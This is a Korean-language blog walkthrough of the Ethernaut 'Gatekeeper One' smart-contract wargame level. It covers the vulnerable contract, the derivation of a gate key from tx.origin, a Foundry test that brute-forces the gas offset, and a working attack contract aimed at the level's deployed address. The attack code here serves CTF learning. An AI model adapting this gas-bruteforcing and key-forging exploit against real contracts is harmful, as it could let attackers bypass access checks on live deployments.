[ethernaut] Gatekeeper One

wooz3k.eth·2023년 1월 2일
0
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract GatekeeperOne {

  address public entrant;

  modifier gateOne() {
    require(msg.sender != tx.origin);
    _;
  }

  modifier gateTwo() {
    require(gasleft() % 8191 == 0);
    _;
  }

  modifier gateThree(bytes8 _gateKey) {
      require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");
      require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");
      require(uint32(uint64(_gateKey)) == uint16(uint160(tx.origin)), "GatekeeperOne: invalid gateThree part three");
    _;
  }

  function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
    entrant = tx.origin;
    return true;
  }
}

이 문제는 3개의 modifier가 정의되어 있는데 문제를 해결하려면 3개의 modifier가 걸려있는 enter(bytes8) 함수를 호출하여 entrant에 풀이자의 지갑 주소를 등록하면 풀리는 문제이다.

gateOne()msg.sendertx.origin이 아니어야 한다. -> 컨트렉트를 만들어서 enter(bytes8) 호출

gateTwo()gasleft() 즉, 저 시점의 남은 gas가 8191로 나눠떨어져야 한다.

gateTwo() 에서 revert 나는 test code를 foundry gas report로 확인해보면 enter함수가 350정도의 gas가 소비된다고 한다. foundry에서 측정한 gas와 실제 온체인에서의 gas의 오차가 존재하기 때문에 ( 노드 버전, solidity 버전 등등) 저 값을 참고하여 payload를 작성하면 되겠다.

먼저 testcode로 payload를 작성해 테스트 해보았다.

gateThree()tx.origin을 가지고 장난을 치는데 결론적으로 다음과 같은 값이 _gateKey가 된다.

bytes8 _gateKey = bytes8(uint64(uint160(tx.origin))) & 0xFFFFFFFF0000FFFF;

먼저 payload testcode를 작성하여 확인해보았다.

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import "forge-std/Test.sol";
import "../src/Gatekeeper_One.sol";

contract CounterTest is Test {
    GatekeeperOne public target;
    address public attacker;

    function setUp() public {
        target = new GatekeeperOne();
        attacker = address(0x11);
    }

    function testatk() public {
        vm.startPrank(attacker);
        bytes8 _gateKey = bytes8(uint64(uint160(tx.origin))) & 0xFFFFFFFF0000FFFF;
        for(uint i=0; i<=350; i++)
        {
            (bool success, ) = address(target).call{gas: i + (8191 * 3)}(abi.encodeWithSignature("enter(bytes8)", _gateKey));
            if (success) {
                console.log(i);
                console.log(i + (8191 * 3));
                console.log("clear");
                break;
            }
        }
    }
}

위에 gas report와는 다르게 max 값이 커진걸 확인할 수 있었고, modifier 모두 통과하여 entrant 등록에 성공한 것을 확인할 수 있겠다. 내 테스트 환경에서는 268이 gasleft() 호출 시점에 gas인데 위에서 말했던 것 처럼 실제 온체인과에는 차이가 존재할 수 있기 때문에 아래와 같은 payload 컨트렉트로 문제를 풀이하였다.

이를 종합하여 payload 컨트렉트를 작성하였다.

contract attack {
    
    GatekeeperOne public target = GatekeeperOne(0x2270626bC8D8d774D0A7AeB0773CB672be957A21);
    
    function atk() public returns(uint256 check){
        bytes8 _gateKey = bytes8(uint64(uint160(tx.origin))) & 0xFFFFFFFF0000FFFF;
        for(uint i=0; i<=350; i++)
        {
            (bool success, ) = address(target).call{gas: i + (8191 * 3)}(abi.encodeWithSignature("enter(bytes8)", _gateKey));
            if (success) {
                check=i;
                break;
            }
        }
    }
}
profile
Theori ChainLight Web3 Researcher

0개의 댓글